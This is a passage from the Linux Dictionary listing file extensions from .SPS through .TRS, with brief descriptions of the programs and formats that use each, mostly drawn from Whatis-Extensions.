<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPS**
Screen driver (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPS**
Spssx source code file (VAX/VMS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPT**
Source code file (Spitbol) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPT**
Support file (MITAC disk/system management utility package) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPU**
Picture file (Spectrum 512) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPW**
Worksheet (SigmaPlot) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPX**
Compiled screen program (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .SQC**
Structured Query Language (SQL) common code file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SQL**
Generally used by database products as an extension for SQL queries (scripts, text, or binary) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SQL**
SQL queries (Informix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SQP**
Query result of audio search (Sonique) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SQR**
Structured Query Language (SQL) program file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SQZ**
Compressed archive (SQUEEZE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .src.rpm**
Source RPM file. A 'tarball' that can be recompiled and installed which also allows RPM based systems to manage them. From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SRE**
Undefined file (Motorola) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SRF**
Raster graphics file (Sun) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SRM**
Video game console ROM emulator file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SRP**
SScript file (QuickLink) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SRZ**
Source file (DataFlex) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SS**
Bitmap graphics (Splash) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SSA**
Video file (Sub Station Alpha) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SSD**
Datafile (SAS/PC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SSD**
SAS database (Dos) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SSD01**
SAS data sets (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .SSF**
Spreadsheet file (Enable) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SSP**
Datafile (SAS Transport) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ST**
Disk Image file (Atari) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ST**
Instrument library (Scream Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ST**
Source code file (Little SmallTalk) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ST**
Stamp file (NeoPaint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STA**
Saved state (Reflection 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STA**
Stack file (SpinMaker Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STB**
Stub library (Genus GX Kernel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STD**
Standard script file (LocoScript) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STD**
State transition diagram graphic file (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STF**
Compressed archive (SHRINKTOFIT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STL**
Stereolithography file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STM**
Music file (Scream Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STM**
Music module (MOD) (Scream Tracker 2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STM**
Shorter suffix for .shtml, an HTML file containing a server side include (SSI
<http://WhatIs.techtarget.com/definition/0,,sid9_gci214225,00.html>) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STM**

Linux Dictionary

- State transition diagram model file (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STO**
Pascal stub OBJ file (Genus GX Kernel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STQ**
Text file (Statistica) (StatSoft Software) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STR**
Screensaver file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STR**
Structure list OBJ file (dBase IV Application Generator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STS**
Project status information file (Microsoft C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STS**
Song file (Music) (Scream Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STW**
Data file (SmartTerm for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STX**
Electronic book file (SmarText) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STX**
Tax form (CA-Simply Tax) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STY**
Style sheet (Generic text and graphics programs) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .STY**
Style sheet (Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SUI**
Suit library (Simple User Interface Toolkit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SUM**
Summary file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SUN**
Rasterfile graphics (Sun) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SUP**
Supplementary dictionary files (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVD**
Autosave file for document (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVF**

Linux Dictionary

- Simple Vector Format 2D image (Microstation) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVG**
Autosave file for glossary (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVG**
Scalable vector graphics file (Adobe) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVP**
Graphics file (Sonique) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVS**
Autosave file for style sheet (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVX**
Interchange file format, 8SVX/16SV From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVX**
Sound file (Amiga 8SVX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SVY**
Database file (SAVVY/PC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SW**
Raw signed Word (16bit) data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SWA**
Shockwave audio file in Macromedia Director (an MP3 file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SWF**
Object (ShockWave Flash) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SWG**
Swag Packet file (SWAG Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SWP**
Document backup file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SWP**
Swap file (DataCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SWP**
Swap file (DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SY1**
Smartpix symbol library (Ami Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SY3**
Symbol file (Harvard Graphics 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYD**

Linux Dictionary

- Backup of startup files (QEMM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYM**
Precompiled header file (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYM**
Program symbol table (Generic to compilers) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYM**
Symbol file (Harvard Graphics 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYN**
SDSC Synu image file (SDSC Image Tool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYN**
Synonym file (Microsoft Word 5.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYS**
Datafile (SPSS/PC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYS**
Datafile (SYGRAPH) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYS**
Datafile (SYSTAT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYS**
System file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYS**
System file Device driver or hardware configuration file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYW**
Graphics symbols (Harvard Graphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SYW**
Wave file (Yamaha SV-series) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .T**
Source file (TADS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .T**
Tape archive (TAR) (Without compression) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .T**
Tester symbol file (ReaGeniX code generator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .T2T**
Modeling software file (Sonata CAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .T44**

Linux Dictionary

- Temporary file for sorting index (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .T64**
Emulator tape image file (Commodore 64) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAB**
Guitar Tablature file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAB**
Table file (MapInfo GIS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .Tag**
image bitmap file (TIFF) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAG**
Query tag name file (DataFlex) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAH**
Turbo assembler help file (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAL**
Text illustration file (TypeAlign) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAR**
<http://searchEnterpriseLinux.techtarget.com/sDefinition/0,,sid39_gci213093,00.html> Tape Archive
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAR**
Compressed archive (TAR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tar**
tarred directory tree. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tar.gz**
See tarball. From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAZ**
Compressed ASCII archive (COMPRESS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAZ**
Compressed ASCII archive (TAR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TAZ**
Gzip/Tape archive (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TB1**
Font file (Borland Turbo C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TB2**
Font file (Borland Turbo C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBF**

Linux Dictionary

- Fax document (Imavox TurboFax) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBK**
Interactive multimedia files (Asymetrix Toolbox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBK**
Memo backup file (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBK**
Memo backup file (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBK**
Toolbook file (Asymetrix Toolbox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBL**
Graphics (Native format) (Pagemaker TableEditor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBL**
Table of values (OS/2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBS**
Text elements (Microsoft Word for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TBX**
Table (Project Scheduler 4) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TC**
Configuration file (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TC**
Configuration file (Turbo C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TCH**
Turbo C Help file (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TCL**
Script in the TCL/TK Language From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tcl**
Tcl/Tk source code (programming language). From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TCW**
Drawing file (TurboCAD for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TD**
Configuration file (Turbo Debugger for DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TD0**
Disk image file (Teledisk) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TD2**

Linux Dictionary

- Configuration file (Turbo Debugger for WIN32) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TD4**
Saved track design (Roller Coaster Tycoon) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDB**
Database file (TACT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDB**
Database file (Thumbs Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDDD**
A file format use by the Imagine & Turbo Silver ray-tracers From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDF**
Font file (TheDraw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDF**
Typeface definition file (Speedo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDH**
Help file (Turbo Debugger0 From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDK**
Keystroke recording file (Turbo Debugger) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDS**
Symbol table (Turbo Debugger) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TDW**
Configuration file (Turbo Debugger for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEF**
Fax document (Relisys TEFAX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEL**
Hostfile (Telnet) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEM**
Input template (IconAuthor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEM**
Turbo Editor Macro Language script (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEX**
Datasheet file (Idealist) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tex**
TEX or LATEX document. LATEX is for document processing and typesetting. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEX**

Linux Dictionary

- TEX text file (Scientific Word) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TEX**
Texture file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .texi, .texinfo**
Texinfo source. Info pages are compiled from these. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TF**
Configuration file (Turbo Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFA**
Area file (Turbo Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFC**
Catalogue file (Tobi's Floppy Disk Cataloguer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFH**
Help file (Turbo Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFM**
Form file (Form Tool Gold) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tfm**
LATEX font metric file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFM**
Tagged font metric file (TeX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFM**
TeX font metrics file (TeX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TFS**
Statistics file (Turbo Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TG1**
Project file (On Target) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TGA**
Targa bitmap (Adobe Acrobat, TrueVision) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TGA**
Targa bitmap (Countour Mortgage Loan Format) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tga**
TARGA image file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TGA**
Winpoint Loan file (Microsoft Excel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TGQ**

Linux Dictionary

- Movie file (Dungeon Keeper 2) (Bullfrog Software) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TGV**
Video file (Electronic Arts) (Need for Speed I/II/III, NBA '96) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tgz**
Directory tree that has been archived with tar, and then compressed with gzip. Also a package for the Slackware distribution. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TGZ**
Gzip/Tape archive (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .THEME**
Desktop theme (Microsoft Windows 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .THM**
Thumbnail image file (Microsoft Clip Gallery v.1.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .THN**
Thumbnail (Graphics Workshop for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .THS**
Thesaurus dictionary (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TIF**
Tag image bitmap file (TIFF) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TIFF**
<http://WhatIs.techtarget.com/definition/0,,sid9_gci214180,00.html> From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .tiff**
TIFF image file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TIG**
Map file (Tiger) (Used by the US Government to distribute Map files) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TIL**
Fuzzy Logic knowledge base file (Togai InfraLogic Fuzzy-C Compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TIM**
Texture/Image file (Playstation) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TIS**
Tile set (MahJongg 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TJF**
backup files (VAXTPU Editor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLB**
OLE type library files (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .TLB**
Reference table (Bubble Editor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLB**
Text library (VAX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLB**
Type library (Visual C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLC**
Compiled tool command language source code file (Swat) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLE**
Two-Line element set (NASA) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLP**
Project timeline file (Microsoft Project) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TLX**
Data file (Trellix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TMF**
Tagged font metric file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TMO**
Ztg global optimizer default optimizer file (Zortech C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TMP**
Temporary file (Microsoft Windows) (ALL) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TMS**
Script file (Telemate) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TNV**
Data file (BitWare) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TOC**
Table of contents file (Eudora Mailbox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TOL**
Image file (Kodak Photo Enhancer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TOS**
Self-Extracting archive (Atari ST) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TOS**
The Operation System for Atari line of 16/32 and 32/32 computers From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TP**
Configuration file (Turbo Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .TP**
Session-state file (Turbo Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TP3**
Template file (Harvard Graphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TP4**
Saved picture file (Roller Coaster Tycoon) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPB**
Downloadable PCL Soft font file backup (HiJaak) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPF**
Downloadable PCL Soft font file (HiJaak) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPH**
Help file (Turbo Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPL**
Encrypted lesson file (TutorPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPL**
Residents units library (Turbo Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPL**
Template file (Cakewalk Audio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPL**
Template file (DataCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPL**
Template file (Harvard Graphics 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPP**
Project file (Teleport Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPP**
Protected mode units (Borland Pascal 7.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPU**
Command file (VAXTPU Editor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPU**
Turbo Pascal Unit (Turbo Pascal)(BGI) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPV**
Packed graphics file (TutorPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPW**
Packed wave files (TutorPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .TPW**
Session-state file (Turbo Profiler for Microsoft Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPW**
Turbo Pascal Unit (BGI) (Turbo Pascal for Windows 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPX**
Image file (ULead Photo Express) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPZ**
Compressed archive (GNUzip) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TPZ**
Compressed archive (TAR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TR**
Session-state settings (Turbo Charge Debugger for DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TR2**
Session-state settings (Turbo Charge Debugger for Win32) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRA**
Saved game file (Coaster) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRC**
Debug support file (Power CTrace) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRE**
Directory tree file (PC-Tools) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRK**
Script file (Kermit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRM**
Terminal file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRM**
Terminal settings file (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRN**
Project usage log (MKS Source Integrity) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRN**
Translation support file (Quattro Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRS**
Executable file (MicroGraphix) From Whatis-Extensions
